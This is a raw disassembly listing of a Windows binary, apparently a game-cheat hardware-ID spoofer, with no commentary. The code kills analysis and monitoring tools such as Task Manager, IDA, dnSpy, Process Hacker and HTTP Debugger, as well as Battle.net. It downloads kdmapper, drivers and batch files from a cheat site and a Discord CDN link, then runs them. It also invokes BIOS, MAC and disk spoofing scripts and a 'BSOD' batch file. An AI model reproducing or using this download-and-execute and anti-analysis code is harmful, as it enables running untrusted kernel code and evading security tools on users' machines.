call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_macchangerdriver.sys
lea rcx, [rsp + 0xc870]
call fcn.14005d9d0
nop
lea rdx, [0x140392930]
lea rcx, [rsp + 0xc850]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xc830]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xc810]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_MACCHANGERdriverinstaller.bat
lea rcx, [rsp + 0xc7f0]
call fcn.14005d9d0
nop
lea rdx, [0x140392970]
lea rcx, [rsp + 0xc7d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc850]
call fcn.14005d8d0
mov qword [rsp + 0x10e8], rax
lea rcx, [rsp + 0xc870]
call fcn.14005d8d0
mov qword [rsp + 0x10f0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x10e8]
mov rdx, qword [rsp + 0x10f0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xc810]
call fcn.14005d8d0
mov qword [rsp + 0x10f8], rax
lea rcx, [rsp + 0xc830]
call fcn.14005d8d0
mov qword [rsp + 0x1100], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x10f8]
mov rdx, qword [rsp + 0x1100]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xc7d0]
call fcn.14005d8d0
mov qword [rsp + 0x1108], rax
lea rcx, [rsp + 0xc7f0]
call fcn.14005d8d0
mov qword [rsp + 0x1110], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1108]
mov rdx, qword [rsp + 0x1110]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392970]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xc7b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xc790]
call fcn.14005d9d0
lea rcx, [rsp + 0xc790]
call fcn.14005d8d0
mov qword [rsp + 0x1118], rax
lea rcx, [rsp + 0xc7b0]
call fcn.14005d8d0
mov qword [rsp + 0x1120], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1118]
mov rdx, qword [rsp + 0x1120]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
